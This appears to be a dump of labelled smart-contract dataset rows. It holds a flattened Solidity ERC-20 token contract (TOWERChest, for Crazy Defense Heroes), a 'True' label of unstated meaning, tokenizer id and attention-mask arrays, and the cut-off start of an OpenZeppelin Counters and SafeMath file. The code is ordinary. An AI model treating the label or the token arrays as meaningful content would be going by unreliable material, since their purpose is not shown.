* @dev Reverts if `to` is the zero address.
* @dev Reverts if `value` is greater than the sender's balance.
* @dev Reverts if `to` is a contract which does not implement `onERC20Received(address,address,uint256,bytes)`.
* @dev Reverts if `to` is a contract and the call to `onERC20Received(address,address,uint256,bytes)` returns a wrong value.
* @dev Emits an {IERC20-Transfer} event.
* @param to The address for the tokens to be transferred to.
* @param amount The amount of tokens to be transferred.
* @param data Optional additional data with no specified format, to be passed to the receiver contract.
* @return true.
*/
function safeTransfer(
address to,
uint256 amount,
bytes calldata data
) external returns (bool);
/**
* Transfers tokens from `from` to another address, using the allowance mechanism.
* If this address is a contract, then calls `onERC20Received(address,address,uint256,bytes)` on it.
* @dev Reverts if `to` is the zero address.
* @dev Reverts if `value` is greater than `from`'s balance.
* @dev Reverts if the sender does not have at least `value` allowance by `from`.
* @dev Reverts if `to` is a contract which does not implement `onERC20Received(address,address,uint256,bytes)`.
* @dev Reverts if `to` is a contract and the call to `onERC20Received(address,address,uint256,bytes)` returns a wrong value.
* @dev Emits an {IERC20-Transfer} event.
* @param from The address which owns the tokens to be transferred.
* @param to The address for the tokens to be transferred to.
* @param amount The amount of tokens to be transferred.
* @param data Optional additional data with no specified format, to be passed to the receiver contract.
* @return true.
*/
function safeTransferFrom(
address from,
address to,
uint256 amount,
bytes calldata data
) external returns (bool);
}
// File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected]
pragma solidity 0.6.8;
/**
* @title ERC20 Token Standard, optional extension: Multi Transfers
* Note: the ERC-165 identifier for this interface is 0xd5b86388.
*/
interface IERC20MultiTransfers {
/**
* Moves multiple `amounts` tokens from the caller's account to each of `recipients`.
* @dev Reverts if `recipients` and `amounts` have different lengths.
* @dev Reverts if one of `recipients` is the zero address.
* @dev Reverts if the caller has an insufficient balance.
* @dev Emits an {IERC20-Transfer} event for each individual transfer.
* @param recipients the list of recipients to transfer the tokens to.
* @param amounts the amounts of tokens to transfer to each of `recipients`.
* @return a boolean value indicating whether the operation succeeded.
*/
function multiTransfer(address[] calldata recipients, uint256[] calldata amounts) external returns (bool);
/**
* Moves multiple `amounts` tokens from an account to each of `recipients`, using the approval mechanism.
* @dev Reverts if `recipients` and `amounts` have different lengths.
* @dev Reverts if one of `recipients` is the zero address.
* @dev Reverts if `from` has an insufficient balance.
* @dev Reverts if the sender does not have at least the sum of all `amounts` as allowance by `from`.
* @dev Emits an {IERC20-Transfer} event for each individual transfer.
* @dev Emits an {IERC20-Approval} event.
* @param from The address which owns the tokens to be transferred.
* @param recipients the list of recipients to transfer the tokens to.
* @param amounts the amounts of tokens to transfer to each of `recipients`.
* @return a boolean value indicating whether the operation succeeded.
*/
function multiTransferFrom(
address from,
address[] calldata recipients,
uint256[] calldata amounts
) external returns (bool);
}
// File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected]
pragma solidity 0.6.8;
/**
* @title ERC20 Token Standard, ERC1046 optional extension: Metadata
* See https://eips.ethereum.org/EIPS/eip-1046
* Note: the ERC-165 identifier for this interface is 0x3c130d90.
*/
interface IERC20Metadata {
/**
* Returns a distinct Uniform Resource Identifier (URI) for the token metadata.
* @return a distinct Uniform Resource Identifier (URI) for the token metadata.
*/
function tokenURI() external view returns (string memory);
}
// File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected]
pragma solidity 0.6.8;
/**
* @title ERC20 Token Standard, ERC2612 optional extension: permit – 712-signed approvals
* @dev Interface for allowing ERC20 approvals to be made via ECDSA `secp256k1` signatures.
* See https://eips.ethereum.org/EIPS/eip-2612
* Note: the ERC-165 identifier for this interface is 0x9d8ff7da.
*/
interface IERC20Permit {
/**
* Sets `value` as the allowance of `spender` over the tokens of `owner`, given `owner` account's signed permit.
* @dev WARNING: The standard ERC-20 race condition for approvals applies to `permit()` as well: https://swcregistry.io/docs/SWC-114
* @dev Reverts if `owner` is the zero address.
* @dev Reverts if the current blocktime is > `deadline`.
* @dev Reverts if `r`, `s`, and `v` is not a valid `secp256k1` signature from `owner`.
* @dev Emits an {IERC20-Approval} event.
* @param owner The token owner granting the allowance to `spender`.
* @param spender The token spender being granted the allowance by `owner`.
* @param value The token amount of the allowance.
* @param deadline The deadline from which the permit signature is no longer valid.
* @param v Permit signature v parameter
* @param r Permit signature r parameter.
* @param s Permis signature s parameter.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* Returns the current permit nonce of `owner`.
* @param owner the address to check the nonce of.
* @return the current permit nonce of `owner`.
*/
function nonces(address owner) external view returns (uint256);
/**
* Returns the EIP-712 encoded hash struct of the domain-specific information for permits.
*
* @dev A common ERC-20 permit implementation choice for the `DOMAIN_SEPARATOR` is:
*
* keccak256(
* abi.encode(
* keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
* keccak256(bytes(name)),
* keccak256(bytes(version)),
* chainId,
* address(this)))
*
* where
* - `name` (string) is the ERC-20 token name.
* - `version` (string) refers to the ERC-20 token contract version.
* - `chainId` (uint256) is the chain ID to which the ERC-20 token contract is deployed to.
* - `verifyingContract` (address) is the ERC-20 token contract address.
*
* @return the EIP-712 encoded hash struct of the domain-specific information for permits.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected]
pragma solidity 0.6.8;
/**
* @title ERC20 Token Standard, Receiver
* See https://eips.ethereum.org/EIPS/eip-20
* Note: the ERC-165 identifier for this interface is 0x4fc35859.
*/
interface IERC20Receiver {
/**
* Handles the receipt of ERC20 tokens.
* @param sender The initiator of the transfer.
* @param from The address which transferred the tokens.
* @param value The amount of tokens transferred.
* @param data Optional additional data with no specified format.
* @return bytes4 `bytes4(keccak256("onERC20Received(address,address,uint256,bytes)"))`
*/
function onERC20Received(
address sender,
address from,
uint256 value,
bytes calldata data
) external returns (bytes4);
}
// File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected]
pragma solidity 0.6.8;
/**
* @dev Implementation of the {IERC20} interface.
*/
contract ERC20 is IERC165, Context, IERC20, IERC20Detailed, IERC20Metadata, IERC20Allowance, IERC20MultiTransfers, IERC20SafeTransfers, IERC20Permit {
using Address for address;
// bytes4(keccak256("onERC20Received(address,address,uint256,bytes)"))
bytes4 internal constant _ERC20_RECEIVED = 0x4fc35859;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)")
bytes32 internal constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
// solhint-disable-next-line var-name-mixedcase
bytes32 public immutable override DOMAIN_SEPARATOR;
mapping(address => uint256) public override nonces;
string internal _name;
string internal _symbol;
uint8 internal immutable _decimals;
string internal _tokenURI;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 internal _totalSupply;
constructor(
string memory name,
string memory symbol,
uint8 decimals,
string memory version,
string memory tokenURI
) internal {
_name = name;
_symbol = symbol;
_decimals = decimals;
_tokenURI = tokenURI;
uint256 chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes(version)),
chainId,
address(this)
)
);
}
/////////////////////////////////////////// ERC165 ///////////////////////////////////////
/// @dev See {IERC165-supportsInterface}.
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return
interfaceId == type(IERC165).interfaceId ||
interfaceId == type(IERC20).interfaceId ||
interfaceId == type(IERC20Detailed).interfaceId ||
interfaceId == 0x06fdde03 || // bytes4(keccak256("name()"))
interfaceId == 0x95d89b41 || // bytes4(keccak256("symbol()"))
interfaceId == 0x313ce567 || // bytes4(keccak256("decimals()"))
interfaceId == type(IERC20Metadata).interfaceId ||
interfaceId == type(IERC20Allowance).interfaceId ||
interfaceId == type(IERC20MultiTransfers).interfaceId ||
interfaceId == type(IERC20SafeTransfers).interfaceId ||
interfaceId == type(IERC20Permit).interfaceId;
}
/////////////////////////////////////////// ERC20Detailed ///////////////////////////////////////
/// @dev See {IERC20Detailed-name}.
function name() public view override returns (string memory) {
return _name;
}
/// @dev See {IERC20Detailed-symbol}.
function symbol() public view override returns (string memory) {
return _symbol;
}
/// @dev See {IERC20Detailed-decimals}.
function decimals() public view override returns (uint8) {
return _decimals;
}
/////////////////////////////////////////// ERC20Metadata ///////////////////////////////////////
/// @dev See {IERC20Metadata-tokenURI}.
function tokenURI() public view override returns (string memory) {
return _tokenURI;
}
/////////////////////////////////////////// ERC20 ///////////////////////////////////////
/// @dev See {IERC20-totalSupply}.
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/// @dev See {IERC20-balanceOf}.
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/// @dev See {IERC20-allowance}.
function allowance(address owner, address spender) public view virtual override returns (uint256) {
if (owner == spender) {
return type(uint256).max;
}
return _allowances[owner][spender];
}
/// @dev See {IERC20-approve}.
function approve(address spender, uint256 value) public virtual override returns (bool) {
_approve(_msgSender(), spender, value);
return true;
}
/////////////////////////////////////////// ERC20 Allowance ///////////////////////////////////////
/// @dev See {IERC20Allowance-increaseAllowance}.
function increaseAllowance(address spender, uint256 addedValue) public virtual override returns (bool) {
require(spender != address(0), "ERC20: zero address");
address owner = _msgSender();
uint256 allowance_ = _allowances[owner][spender];
uint256 newAllowance = allowance_ + addedValue;
require(newAllowance >= allowance_, "ERC20: allowance overflow");
_allowances[owner][spender] = newAllowance;
emit Approval(owner, spender, newAllowance);
return true;
}
/// @dev See {IERC20Allowance-decreaseAllowance}.
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual override returns (bool) {
require(spender != address(0), "ERC20: zero address");
_decreaseAllowance(_msgSender(), spender, subtractedValue);
return true;
}
/// @dev See {IERC20-transfer}.
function transfer(address to, uint256 value) public virtual override returns (bool) {
_transfer(_msgSender(), to, value);
return true;
}
/// @dev See {IERC20-transferFrom}.
function transferFrom(
address from,
address to,
uint256 value
) public virtual override returns (bool) {
_transferFrom(_msgSender(), from, to, value);
return true;
}
/////////////////////////////////////////// ERC20MultiTransfer ///////////////////////////////////////
/// @dev See {IERC20MultiTransfer-multiTransfer(address[],uint256[])}.
function multiTransfer(address[] calldata recipients, uint256[] calldata amounts) external virtual override returns (bool) {
uint256 length = recipients.length;
require(length == amounts.length, "ERC20: inconsistent arrays");
address sender = _msgSender();
for (uint256 i = 0; i != length; ++i) {
_transfer(sender, recipients[i], amounts[i]);
}
return true;
}
/// @dev See {IERC20MultiTransfer-multiTransferFrom(address,address[],uint256[])}.
function multiTransferFrom(
address from,
address[] calldata recipients,
uint256[] calldata values
) external virtual override returns (bool) {
uint256 length = recipients.length;
require(length == values.length, "ERC20: inconsistent arrays");
uint256 total;
for (uint256 i = 0; i != length; ++i) {
uint256 value = values[i];
_transfer(from, recipients[i], value);
total += value; // cannot overflow, else it would mean thann from's balance underflowed first
}
_decreaseAllowance(from, _msgSender(), total);
return true;
}
/////////////////////////////////////////// ERC20SafeTransfers ///////////////////////////////////////
/// @dev See {IERC20Safe-safeTransfer(address,uint256,bytes)}.
function safeTransfer(
address to,
uint256 amount,
bytes calldata data
) external virtual override returns (bool) {
address sender = _msgSender();
_transfer(sender, to, amount);
if (to.isContract()) {
require(IERC20Receiver(to).onERC20Received(sender, sender, amount, data) == _ERC20_RECEIVED, "ERC20: transfer refused");
}
return true;
}
/// @dev See {IERC20Safe-safeTransferFrom(address,address,uint256,bytes)}.
function safeTransferFrom(
address from,
address to,
uint256 amount,
bytes calldata data
) external virtual override returns (bool) {
address sender = _msgSender();
_transferFrom(sender, from, to, amount);
if (to.isContract()) {
require(IERC20Receiver(to).onERC20Received(sender, from, amount, data) == _ERC20_RECEIVED, "ERC20: transfer refused");
}
return true;
}
/////////////////////////////////////////// ERC20Permit ///////////////////////////////////////
/// @dev See {IERC2612-permit(address,address,uint256,uint256,uint8,bytes32,bytes32)}.
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external virtual override {
require(owner != address(0), "ERC20: zero address owner");
require(block.timestamp <= deadline, "ERC20: expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline));
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "ERC20: invalid permit");
_approve(owner, spender, value);
}
/////////////////////////////////////////// Internal Functions ///////////////////////////////////////
function _approve(
address owner,
address spender,
uint256 value
) internal {
require(spender != address(0), "ERC20: zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _decreaseAllowance(
address owner,
address spender,
uint256 subtractedValue
) internal {
if (owner == spender) return;
uint256 allowance_ = _allowances[owner][spender];
if (allowance_ != type(uint256).max && subtractedValue != 0) {
// save gas when allowance is maximal by not reducing it (see https://github.com/ethereum/EIPs/issues/717)
uint256 newAllowance = allowance_ - subtractedValue;
require(newAllowance <= allowance_, "ERC20: insufficient allowance");
_allowances[owner][spender] = newAllowance;
allowance_ = newAllowance;
}
emit Approval(owner, spender, allowance_);
}
function _transfer(
address from,
address to,
uint256 value
) internal virtual {
require(to != address(0), "ERC20: zero address");
uint256 balance = _balances[from];
require(balance >= value, "ERC20: insufficient balance");
_balances[from] = balance - value;
_balances[to] += value;
emit Transfer(from, to, value);
}
function _transferFrom(
address sender,
address from,
address to,
uint256 value
) internal {
_decreaseAllowance(from, sender, value);
_transfer(from, to, value);
}
function _mint(address to, uint256 value) internal virtual {
require(to != address(0), "ERC20: zero address");
uint256 supply = _totalSupply;
uint256 newSupply = supply + value;
require(newSupply >= supply, "ERC20: supply overflow");
_totalSupply = newSupply;
_balances[to] += value; // balance cannot overflow if supply does not
emit Transfer(address(0), to, value);
}
function _batchMint(address[] memory recipients, uint256[] memory values) internal virtual {
uint256 length = recipients.length;
require(length == values.length, "ERC20: inconsistent arrays");
uint256 supply = _totalSupply;
for (uint256 i = 0; i != length; ++i) {
address to = recipients[i];
require(to != address(0), "ERC20: zero address");
uint256 value = values[i];
uint256 newSupply = supply + value;
require(newSupply >= supply, "ERC20: supply overflow");
supply = newSupply;
_balances[to] += value; // balance cannot overflow if supply does not
emit Transfer(address(0), to, value);
}
_totalSupply = supply;
}
function _burn(address from, uint256 value) internal virtual {
uint256 balance = _balances[from];
require(balance >= value, "ERC20: insufficient balance");
_balances[from] = balance - value;
_totalSupply -= value; // will not underflow if balance does not
emit Transfer(from, address(0), value);
}
function _burnFrom(address from, uint256 value) internal virtual {
_decreaseAllowance(from, _msgSender(), value);
_burn(from, value);
}
}
// File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected]
pragma solidity 0.6.8;
/**
* @title ERC20 Token Standard, optional extension: Burnable
* Note: the ERC-165 identifier for this interface is 0x3b5a0bf8.
*/
interface IERC20Burnable {
/**
* Burns `value` tokens from the message sender, decreasing the total supply.
* @dev Reverts if the sender owns less than `value` tokens.
* @dev Emits a {IERC20-Transfer} event with `_to` set to the zero address.
* @param value the amount of tokens to burn.
* @return a boolean value indicating whether the operation succeeded.
*/
function burn(uint256 value) external returns (bool);
/**
* Burns `value` tokens from `from`, using the allowance mechanism and decreasing the total supply.
* @dev Reverts if `from` owns less than `value` tokens.
* @dev Reverts if the message sender is not approved by `from` for at least `value` tokens.
* @dev Emits a {IERC20-Transfer} event with `_to` set to the zero address.
* @dev Emits a {IERC20-Approval} event (non-standard).
* @param from the account to burn the tokens from.
* @param value the amount of tokens to burn.
* @return a boolean value indicating whether the operation succeeded.
*/
function burnFrom(address from, uint256 value) external returns (bool);
}
// File @animoca/ethereum-contracts-erc20_base-5.1.0/contracts/token/ERC20/[email protected]
pragma solidity 0.6.8;
/**
* @title ERC20 Fungible Token Contract, burnable version.
*/
contract ERC20Burnable is ERC20, IERC20Burnable {
constructor(
string memory name,
string memory symbol,
uint8 decimals,
string memory version,
string memory tokenURI
) public ERC20(name, symbol, decimals, version, tokenURI) {}
/// @dev See {IERC165-supportsInterface}.
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC20Burnable).interfaceId || super.supportsInterface(interfaceId);
}
/// @dev See {IERC20Burnable-burn(uint256)}.
function burn(uint256 amount) public virtual override returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/// @dev See {IERC20Burnable-burnFrom(address,uint256)}.
function burnFrom(address from, uint256 value) public virtual override returns (bool) {
_burnFrom(from, value);
return true;
}
}
// File contracts/solc-0.6/token/ERC20/TOWERChest.sol
pragma solidity 0.6.8;
/**
* @title TOWERChest
* A burnable ERC-20 token contract for Crazy Defense Heroes (CDH). TOWER Chests are tokens that can be burned to obtain CDH NFTs.
* @dev TWR.BRNZ for Bronze chests.
* @dev TWR.SLVR for Silver chests.
* @dev TWR.GOLD for Gold chests.
*/
contract TOWERChest is ERC20Burnable, Ownable {
/**
* Constructor.
* @param name Name of the token.
* @param symbol Symbol of the token.
* @param decimals Number of decimals the token uses.
* @param version Signing domain version used for IERC2612 permit signatures.
* @param tokenURI The URI for the token metadata.
* @param holder Account to mint the initial total supply to.
* @param totalSupply Total supply amount to mint to the message caller.
*/
constructor(
string memory name,
string memory symbol,
uint8 decimals,
string memory version,
string memory tokenURI,
address holder,
uint256 totalSupply
) public ERC20Burnable(name, symbol, decimals, version, tokenURI) {
_mint(holder, totalSupply);
}
/**
* Updates the token metadata URI.
* @dev Reverts if the sender is not the contract owner.
* @param tokenURI_ the new token metdata URI.
*/
function updateTokenURI(string calldata tokenURI_) external {
require(_msgSender() == owner(), "TOWERChest: not the owner");
_tokenURI = tokenURI_;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5709,
1011,
5718,
1008,
1013,
1013,
1013,
4216,
16379,
2007,
2524,
12707,
1058,
2475,
1012,
1016,
1012,
1015,
16770,
1024,
1013,
1013,
2524,
12707,
1012,
8917,
1013,
1013,
5371,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
1031,
10373,
5123,
1033,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1020,
1012,
1014,
1026,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
28177,
2078,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1013,
5371,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3229,
1013,
1031,
10373,
5123,
1033,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1020,
1012,
1014,
1026,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3206,
11336,
2029,
3640,
1037,
3937,
3229,
2491,
7337,
1010,
2073,
1008,
2045,
2003,
2019,
4070,
1006,
2019,
3954,
1007,
2008,
2064,
2022,
4379,
7262,
3229,
2000,
1008,
3563,
4972,
1012,
1008,
1008,
2011,
12398,
1010,
1996,
3954,
4070,
2097,
2022,
1996,
2028,
2008,
21296,
2015,
1996,
3206,
1012,
2023,
1008,
2064,
2101,
2022,
2904,
2007,
1063,
4651,
12384,
2545,
5605,
1065,
1012,
1008,
1008,
2023,
11336,
2003,
2109,
2083,
12839,
1012,
2009,
2097,
2191,
2800,
1996,
16913,
18095,
1008,
1036,
2069,
12384,
2121,
1036,
1010,
2029,
2064,
2022,
4162,
2000,
2115,
4972,
2000,
21573,
2037,
2224,
2000,
1008,
1996,
3954,
1012,
1008,
1013,
10061,
3206,
2219,
3085,
2003,
6123,
1063,
4769,
2797,
1035,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3988,
10057,
1996,
3206,
4292,
1996,
21296,
2121,
2004,
1996,
3988,
3954,
1012,
1008,
1013,
9570,
2953,
1006,
1007,
4722,
1063,
4769,
5796,
5620,
10497,
2121,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1025,
1035,
3954,
1027,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-02-26
*/
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.0 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
